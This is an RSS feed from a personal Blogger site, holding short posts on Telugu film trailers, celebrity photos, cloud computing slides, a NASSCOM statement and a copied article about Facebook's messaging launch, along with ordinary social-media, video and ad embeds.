<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearch/1.1/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-5827248920231453242</atom:id><lastBuildDate>Thu, 26 Jul 2012 04:10:03 +0000</lastBuildDate><category>Gabbar Singh</category><category>Trailer</category><category>panjaa</category><category>Pawan Kalyna</category><title>Welcome to The World !!</title><description>YO!!</description><link>http://dilsan.blogspot.com/</link><managingEditor>noreply@blogger.com (Dileep Varma)</managingEditor><generator>Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-5279535957520302016</guid><pubDate>Sat, 09 Jun 2012 12:01:00 +0000</pubDate><atom:updated>2012-06-09T05:01:27.176-07:00</atom:updated><title></title><description>&lt;div style="font-size: 12px; font-weight: normal; text-align: center;"&gt;
&lt;object data="http://free.flashbannernow.com/freebanner_lb.swf?bid=bfwwdws" height="90" type="application/x-shockwave-flash" width="728"&gt;&lt;param name="movie" value="http://free.flashbannernow.com/freebanner_lb.swf?bid=bfwwdws"&gt;
&lt;param name="allowScriptAccess" value="always"&gt;
&lt;/object&gt;&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-5279535957520302016?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2012/06/blog-post.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-8530354177347282238</guid><pubDate>Tue, 05 Jun 2012 17:46:00 +0000</pubDate><atom:updated>2012-06-05T10:46:46.656-07:00</atom:updated><title></title><description>&lt;html&gt;
&lt;body&gt;

&lt;div id="fb-root"&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));&lt;/script&gt;

&lt;div class="fb-comments" data-href="http://www.varma.com" data-num-posts="10" data-width="700" data-colorscheme="dark"&gt;&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-8530354177347282238?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2012/06/functiond-s-id-var-js-fjs-d.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-8350123735623709519</guid><pubDate>Fri, 10 Feb 2012 19:48:00 +0000</pubDate><atom:updated>2012-02-10T11:50:09.931-08:00</atom:updated><title>Pawan Kalyan And Puri Jaganath New movie</title><description>Cameraman Ganga Tho Rambabu ....&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-MKQSXPsPwBc/TzV0j0mw6aI/AAAAAAAACRg/ACOeCTddFGs/s1600/Cameraman+Ganga+tho+RamBabu+logo...JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="176" src="http://4.bp.blogspot.com/-MKQSXPsPwBc/TzV0j0mw6aI/AAAAAAAACRg/ACOeCTddFGs/s320/Cameraman+Ganga+tho+RamBabu+logo...JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Will Rock soon............................&lt;br /&gt;
&lt;br /&gt;
Cast:&lt;br /&gt;
Pawan Kalyan&lt;br /&gt;
Kajal Agarwal&lt;br /&gt;
&lt;br /&gt;
Producer &lt;br /&gt;
D.V. Danaiah&lt;br /&gt;
&lt;br /&gt;
Director&lt;br /&gt;
Puri Jaganath&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-8350123735623709519?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2012/02/pawan-kalyan-and-puri-jaganath-new.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-MKQSXPsPwBc/TzV0j0mw6aI/AAAAAAAACRg/ACOeCTddFGs/s72-c/Cameraman+Ganga+tho+RamBabu+logo...JPG' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-5237651504068403678</guid><pubDate>Mon, 23 Jan 2012 18:04:00 +0000</pubDate><atom:updated>2012-01-23T10:04:30.860-08:00</atom:updated><title>Pawan Kalyan With Puri Jaganath</title><description>&lt;span style="font-size: large;"&gt;&lt;b&gt;Latest News is Puri is directing movie with Pawan Kalyan.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Lets Wait for more updates...&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: right;"&gt;&lt;a href="http://3.bp.blogspot.com/-QyG1EQuUXUA/Tx2hHoizl_I/AAAAAAAACRA/zGXlmPGn1co/s1600/pawwan.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-QyG1EQuUXUA/Tx2hHoizl_I/AAAAAAAACRA/zGXlmPGn1co/s1600/pawwan.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-5237651504068403678?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2012/01/pawan-kalyan-with-puri-jaganath.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-QyG1EQuUXUA/Tx2hHoizl_I/AAAAAAAACRA/zGXlmPGn1co/s72-c/pawwan.JPG' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-997219201944537348</guid><pubDate>Mon, 23 Jan 2012 18:00:00 +0000</pubDate><atom:updated>2012-01-23T10:07:50.083-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Gabbar Singh</category><category domain='http://www.blogger.com/atom/ns#'>Pawan Kalyna</category><category domain='http://www.blogger.com/atom/ns#'>Trailer</category><title>Gabbar singh Trailer</title><description>Gabbar Singh Trailer is going to release on Feb 14, 2012,&lt;br /&gt;
&lt;br /&gt;
Watch this space for more updates !!!!&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: right;"&gt;&lt;a href="http://2.bp.blogspot.com/-HylcxAEzW00/Tx2h7Ms1KOI/AAAAAAAACRI/tlHKWgZFUxU/s1600/pawan-kalyan-gabbar-singh-first-look-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-HylcxAEzW00/Tx2h7Ms1KOI/AAAAAAAACRI/tlHKWgZFUxU/s320/pawan-kalyan-gabbar-singh-first-look-2.jpg" width="197" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-997219201944537348?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2012/01/gabbar-singh-trailer.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-HylcxAEzW00/Tx2h7Ms1KOI/AAAAAAAACRI/tlHKWgZFUxU/s72-c/pawan-kalyan-gabbar-singh-first-look-2.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-4558459425217610103</guid><pubDate>Sun, 04 Dec 2011 15:27:00 +0000</pubDate><atom:updated>2011-12-04T07:29:04.743-08:00</atom:updated><title>Panjaa New Trailer HD</title><description>Panjaa New Trailer HD&lt;br /&gt;
&lt;br /&gt;
http://www.youtube.com/watch?feature=player_embedded&amp;amp;v=GSiS-WPS7Js&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://3.gvt0.com/vi/GSiS-WPS7Js/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/GSiS-WPS7Js&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/GSiS-WPS7Js&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-4558459425217610103?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/12/panjaa-new-trailer-hd.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-2256985450542157091</guid><pubDate>Sun, 04 Dec 2011 15:23:00 +0000</pubDate><atom:updated>2011-12-04T07:23:48.425-08:00</atom:updated><title>Aishwarya Rai Daughter pic First on Net</title><description>Aishwarya Rai Daughter pic First on Net &lt;br /&gt;
&lt;br /&gt;
Here It is..............................&lt;br /&gt;
Enjoy&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ExRzV5QylfU/TtuQbt8S0iI/AAAAAAAACOM/LYIlcF5fOGU/s1600/aishbaby.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://1.bp.blogspot.com/-ExRzV5QylfU/TtuQbt8S0iI/AAAAAAAACOM/LYIlcF5fOGU/s320/aishbaby.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-2256985450542157091?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/12/aishwarya-rai-daughter-pic-first-on-net.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-ExRzV5QylfU/TtuQbt8S0iI/AAAAAAAACOM/LYIlcF5fOGU/s72-c/aishbaby.JPG' height='72' width='72'/><thr:total>3</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-2532272724449958041</guid><pubDate>Thu, 03 Nov 2011 16:15:00 +0000</pubDate><atom:updated>2011-11-03T09:19:46.418-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>panjaa</category><title>Pawan Kalyan Panjaa Trailer</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/446oPIOqP4k/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/446oPIOqP4k&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/446oPIOqP4k&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;
Pawan Kalyan Panjaa Trailer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-2532272724449958041?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/11/pawan-kalyan-panjaa-trailer.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-2987639348741408995</guid><pubDate>Wed, 02 Nov 2011 14:31:00 +0000</pubDate><atom:updated>2011-11-02T07:37:22.198-07:00</atom:updated><title>Formula 1™ - The Official F1™ Website</title><description>BROWSE THE SITE FOR FORMULA 1 UPDATES &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-gw2OJj7eWoI/TrFUPS7r7II/AAAAAAAABaQ/vJEhKyIQ1_8/s1600/52_96494750KR034_Red_Bull_Raci.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://1.bp.blogspot.com/-gw2OJj7eWoI/TrFUPS7r7II/AAAAAAAABaQ/vJEhKyIQ1_8/s320/52_96494750KR034_Red_Bull_Raci.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.formula1.com/"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;http://www.formula1.com&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-2987639348741408995?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/11/formula-1-official-f1-website.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-gw2OJj7eWoI/TrFUPS7r7II/AAAAAAAABaQ/vJEhKyIQ1_8/s72-c/52_96494750KR034_Red_Bull_Raci.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-3591634126653030817</guid><pubDate>Wed, 19 Oct 2011 15:31:00 +0000</pubDate><atom:updated>2011-10-19T08:31:45.957-07:00</atom:updated><title>Buy Canon DSLR for Free</title><description>&lt;iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=dilsan-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=B003BM7X6I&amp;amp;ref=qf_sp_asin_til&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 240px; width: 120px;"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-3591634126653030817?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/10/buy-canon-dslr-for-free.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-3458041029492199698</guid><pubDate>Wed, 10 Aug 2011 12:28:00 +0000</pubDate><atom:updated>2011-08-11T02:03:13.925-07:00</atom:updated><title>Cloud Computing PPT</title><description>&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Just Surfing around some sites ..Got Some basic Stuff on Cloud Computing.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;It will Really Help you Guys to get more about Cloud Computing.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zVBUXQb-pyw/TkOZ0MeRLJI/AAAAAAAABYQ/fVyMlUecCkA/s1600/cloud.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-zVBUXQb-pyw/TkOZ0MeRLJI/AAAAAAAABYQ/fVyMlUecCkA/s1600/cloud.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Here is the Link to Download. Post ur comments :)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;a href="http://www.4shared.com/document/B3SaWhwX/IT_Track-Tue0205-Cloud_Computi.html"&gt;Cloud Computing ppt&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;a href="http://www.4shared.com/document/i1PP2wWI/Testing_in_the_Cloud_1_.html"&gt;Testing based on Cloud Computing PPT&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Cheers !!&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-3458041029492199698?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/08/cloud-computing-ppt.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-zVBUXQb-pyw/TkOZ0MeRLJI/AAAAAAAABYQ/fVyMlUecCkA/s72-c/cloud.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-6416391461152128370</guid><pubDate>Wed, 10 Aug 2011 12:17:00 +0000</pubDate><atom:updated>2011-08-10T05:17:59.719-07:00</atom:updated><title>Nasscom Statement on Current US downgrade</title><description>&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Nasscom Statement on Current US downgrade from AAA to AA+ &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-4P17fX1Tqo8/TkJ2n6iNQkI/AAAAAAAABYM/DyGyoxo1e1w/s1600/nasscom5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-4P17fX1Tqo8/TkJ2n6iNQkI/AAAAAAAABYM/DyGyoxo1e1w/s1600/nasscom5.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;India's software services sector, which gets more than half of its revenue from the United States, is unlikely to be affected in the near-term after the U.S. sovereign debt rating downgrade by Standard &amp;amp; Poor's, a leading IT industry lobby group said.          "Although the global economic environment is a cause for concern, it is not likely to impact the Indian IT industry in the near-term," the National Association of Software &amp;amp; Services Companies (NASSCOM) said in a statement on Monday.          "&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;So Techies Dont Get too much worry. Stay longer in your current Current Company :)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Cheers !!&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-6416391461152128370?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2011/08/nasscom-statement-on-current-us.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-4P17fX1Tqo8/TkJ2n6iNQkI/AAAAAAAABYM/DyGyoxo1e1w/s72-c/nasscom5.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-5018363517790313192</guid><pubDate>Mon, 15 Nov 2010 19:01:00 +0000</pubDate><atom:updated>2010-11-15T11:02:36.685-08:00</atom:updated><title>Facebook Announces New Messaging System: “It’s Not E-mail”</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TOGDrS0Sq0I/AAAAAAAAA_k/n-l03C8Pcys/s1600/zuck-e1289845077132.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 299px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TOGDrS0Sq0I/AAAAAAAAA_k/n-l03C8Pcys/s400/zuck-e1289845077132.jpg" alt="" id="BLOGGER_PHOTO_ID_5539853796451199810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="entry-title summary"&gt;&lt;h2&gt;Facebook Announces New Messaging System: “It’s Not E-mail”&lt;/h2&gt;&lt;/div&gt;&lt;div style="position: fixed; left: 50%; top: 20px; margin-left: -566px;" class="post_share social-media"&gt;&lt;div class="large-buttons"&gt;&lt;div class="wdt_button wdt_fb"&gt; &lt;span class="fb_share_count_wrapper"&gt;&lt;span class="fb_share_count_nub_top"&gt; &lt;/span&gt;&lt;span class="fb_share_count fb_share_count_top"&gt;&lt;span class="fb_share_count_inner"&gt;357&lt;/span&gt;&lt;/span&gt;&lt;a href="http://mashable.com/2010/11/15/facebook-messaging-event/" class="fb_button fb_button_small" target="_blank"&gt;&lt;span class="fb_button_text"&gt;Share&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="wdt_button"&gt;&lt;a class="DiggThisButton DiggThisButtonMedium" href="http://digg.com/submit?url=http://mashable.com/2010/11/15/facebook-messaging-event/&amp;amp;title=Facebook%20Announces%20New%20Messaging%20System:%20%22It%5C%27s%20Not%20E-mail%22" rel="nofollow"&gt;&lt;img style="display: inline;" src="http://widgets.digg.com/img/button/diggThisMedium.png" alt="" height="61" width="50" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="wdt_button"&gt; &lt;a class="chicklet" id="st_email" href="http://mashable.com/2010/11/15/facebook-messaging-event/#"&gt;email&lt;/a&gt;&lt;/div&gt;&lt;div class="wdt_button"&gt; &lt;a class="chicklet" id="st_sharethis" href="http://mashable.com/2010/11/15/facebook-messaging-event/#"&gt;share&lt;/a&gt;  &lt;/div&gt;&lt;/div&gt;&lt;p&gt;Facebook  is set to launch a new “modern messaging system,” said CEO Mark  Zuckerberg at a press event this morning in San Francisco.&lt;/p&gt;&lt;p&gt;Zuckerberg says that more than 4 billion messages are currently sent through &lt;a href="http://mashable.com/category/facebook"&gt;Facebook&lt;/a&gt;  each day. He also shared that Facebook believes that modern messaging  is seamless, informal, immediate, personal, simple and minimal. “It’s  not e-mail,” he said.&lt;/p&gt;&lt;p&gt;Interestingly enough, Facebook is handing  out facebook.com e-mail addresses to all users. The system, however, is  really modeled after chat according to Andrew Bosworth. “People should  share however they want to share,” he says.&lt;/p&gt;&lt;p&gt;The new messaging  system is composed of three parts: seamless messaging, cross-platform  conversation history and the social inbox. The latter is an inbox for  filtering the messages you want, organized by the people you care about.  So, it’s designed to highlight conversations with your real friends and  be spam free.&lt;/p&gt;&lt;p&gt;According to the blog &lt;a href="http://blog.facebook.com/blog.php?post=452288242130" target="_blank"&gt;post&lt;/a&gt;, “Messages is not email. There are no subject lines, no cc, no bcc, and you can send a message by hitting the Enter key.”&lt;/p&gt;&lt;p&gt;The  messaging system is also designed to be platform-agnostic, so users can  send and receive messages via mobile, IM or Facebook. It’s designed to  make it simpler for users to communicate in real-time with their real  friends, wherever they are. The system will be rolled out slowly over  the next few months in an invite-only process, says Zuckerberg.&lt;/p&gt;&lt;p&gt;Zuckerberg  also extensively talked about how people use messaging systems today.  In conversations with high schoolers, Zuckerberg recounted that these  youngsters told him that e-mail is too slow and that they prefer SMS and  Facebook to sending e-mails. These conversations laid the foundation  for the reasoning behind Facebook’s motivation to create a seamless,  immediate and personal experience around messaging.&lt;/p&gt;&lt;p&gt;As soon as the event was announced last week, speculation ran rampant that Facebook would be overhauling its &lt;a href="http://mashable.com/2010/11/11/facebook-announces-special-event-is-it-about-to-overhaul-messages/"&gt;messaging system&lt;/a&gt; and releasing its own &lt;a href="http://mashable.com/2010/11/12/facebook-fb-email/"&gt;e-mail service&lt;/a&gt;  to compete with the likes of Gmail. E-mail, however, seems secondary to  Facebook’s primary desire to be the communication platform for  tomorrow’s youth.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-5018363517790313192?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/11/facebook-announces-new-messaging-system.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 